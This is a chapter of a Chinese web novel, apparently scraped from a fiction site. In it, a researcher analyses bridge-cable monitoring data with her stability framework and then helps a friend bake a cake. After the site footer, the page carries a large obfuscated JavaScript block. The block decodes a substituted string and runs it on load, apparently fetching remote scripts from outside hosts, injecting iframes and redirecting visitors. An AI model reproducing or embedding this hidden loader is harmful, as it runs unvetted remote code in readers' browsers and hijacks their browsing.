第467章 三个小时
程竞星把工程数据下载下来。
打开一看,发现不是一套,而是三套。
第一套是某跨海大桥的索力监测系统过去两年的时序数据,外部变量包括风速、温度、交通荷载。
第二套是城市电网某关键节点的电压波动记录,外部变量是用电负荷和天气条件。
第三套是一家合作企业的流体力学仿真参数,对应他们某款核心产品的结构稳定性分析。
谢观澜在邮件里写得很清楚。
“第一套和第二套是真实监测数据,第三套是仿真参数,三套的难度递增,你先挑简单的跑。”
程竞星扫了一眼数据规模,笑了笑。
这是怕她一上来被复杂数据卡住,故意把难度排好了,还挺贴心的嘛。
她先开了第一套,跨海大桥的索力数据。
两千多个监测点,两年的分钟级时序,数据量比蛋白质网络大了一个数量级。
但她之前写好的模板正好派上用场。
工程数据的输入格式反而比生物网络更规整,几乎不需要额外的转换脚本。
她直接把数据灌进去,启动扫描引擎。
这次跑的时间长一些,大约三个小时。
结果出来后,程竞星重点看了风险地图上标红的几个区域。
其中一处索力节点的ε*临界值异常偏低,只有0.05。
这意味着该节点的结构稳定性对风速变化极其敏感。
一旦风速超过某个阈值,耦合关系就会越过边界。
她查了一下该节点的物理位置。
主桥左侧第三根斜拉索的锚固点。
程竞星打开浏览器,搜了一下那座桥的资料。
两年前,那根斜拉索确实更换过一次锚具,原因是锚固区应力异常。
当时的官方解释是施工误差。
但她的框架显示,那个位置的稳定性边界天然就窄,即使施工没问题,长期的风振累积也会让耦合关系逐渐逼近临界。
这不是施工误差,是设计冗余度不够。
她把这段分析写进报告,随后连同完整的风险地图一起发给了谢观澜。
一小时后,谢观澜的电话打了过来。
“竞星,你这个结果,我给工程团队的人看了,说跟他们内部的一份评估报告结论吻合,但你的框架把时间窗口缩得更精确了。”
“吻合就好。”程竞星说。
“不,你不明白。”谢观澜的声音低了一些,却多了一丝震撼。
“那份内部评估报告是去年才做出来的,用了三个月,动用了六个人,你这边用了多久?”
“三个小时。”
对面传来一阵细微的吸气声,“……你这东西要是推广开,工程检测行业的效率至少翻十倍,这还是保守估计。”
“前提是验证结果稳定。”程竞星没有膨胀,这还只是一个开始,“等我跑完第二套和第三套。”
“嗯,不着急,你慢慢来。”谢观澜带上一丝她熟悉的、轻松的笑意。
“对,这两天在那套房子里,过得还可以吗?”
“挺舒服的,糯糯很会照顾人,一日三餐都是她安排的。”程竞星感慨道。
照顾这两个字安在谢糯身上,就像天方夜谭。
“相信我,她只对你这样,换成其他人,包括我这个哥哥,她根本不会搭理。”
“人都会有自己的喜好,她喜欢我,这很正常,以后她要是喜欢别的人,也会这样的。”
谢观澜可不这么认为,不过他没说什么。
挂了电话,程竞星坐在电脑前,目光落在第三套数据上。
流体力学仿真参数。
多物理场耦合。
这是难度最高的一套。
她正准备开始读取数据,手机又震了一下。
不是谢观澜,是沈砚池发来的消息。
“程同学,信号通路那套的结果我整理了一下,跟我们实验记录做了交叉比对。”
“你标注的那三条边里,第二条的表型翻转时间窗口跟你的框架输出完全一致。”
“我写了一段补充分析,你看看有没有需要调整的,我打算先放进论文的初稿框架里。”
后面附了一份文档。
程竞星点开看了一遍,沈砚池写得严谨。
把她的框架输出和他们实验数据的对应关系列成了对照表,时间精度标注到小时级别。
她回复了两个字的修改建议,发回去。
刚放下手机,厨房方向传来一声闷响,像是什么东西摔在了地上。
紧接着是谢糯的声音:“……没碎没碎!”
程竞星起身走出去,推开厨房的门,看到谢糯正手忙脚乱地从地上扶起一个不锈钢搅拌盆。
旁边台面上散落着几粒面粉,烤箱的预热灯亮着。
“你在干什么?”
谢糯抬头看到她,眼睛一亮又迅速心虚地垂下去,“我想学做蛋糕。”
台面上摆着电子秤,量杯,黄油块,已经打发了一半的奶油,还有一袋可可粉。
程竞星看了一眼那个歪倒的搅拌盆。
里面的面糊还好没洒出来。
“学一学也好,听说国外的食物不好吃,你要是学会了,以后想吃可以自己做。”
程竞星说完,自己又笑了。
“不过你哥应该不会让你饿肚子,其实不学也没关系。”
“不是的。”谢糯低下头。
“什么?”
“我不是要做给自己吃,我想做给你吃。”等过几天,她就要出国,她想多增加一些两人之间的回忆。
程竞星愣了一下,“这样啊,那等你做出来,我再尝尝。”
见她没有否定自己,谢糯开心地点头,“好,我一定努力做好吃。”
“我期待,不过你这个面糊,水加多,这个稠度烤出来会塌的。”
程竞星拿起量杯看了一眼里面的水量,又看了看配方比例。
“少放了大概十五克面粉,水多了十克左右。”
谢糯凑过来看,脸皱成一团:“那怎么办?”
“再加面粉调回来就行。”
程竞星拿起面粉袋,称了二十克倒进去,拿起打蛋器重新搅了几下。
“下次先称好所有材料再动手,别边做边量。”
“哦……”谢糯乖乖点头,然后小声补了一句,“星星,你连这个都会?”
“基本的比例关系而已。”程竞星把调好的面糊递给她,“倒进模具里,震两下把气泡排掉,进烤箱。”
谢糯小心翼翼地照做,把模具放进预热好的烤箱,关上门,定时器拧到三十五分钟。
“好了!”她转过身,脸上还沾着一抹面粉。
程竞星用手指帮她把面粉抹掉。
“那等好了再叫我。”
“嗯嗯。”
一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="o3oihma3gd";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/OsO6h^dspf/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"OsO6h^dspf"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8OsO6h^dspf"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();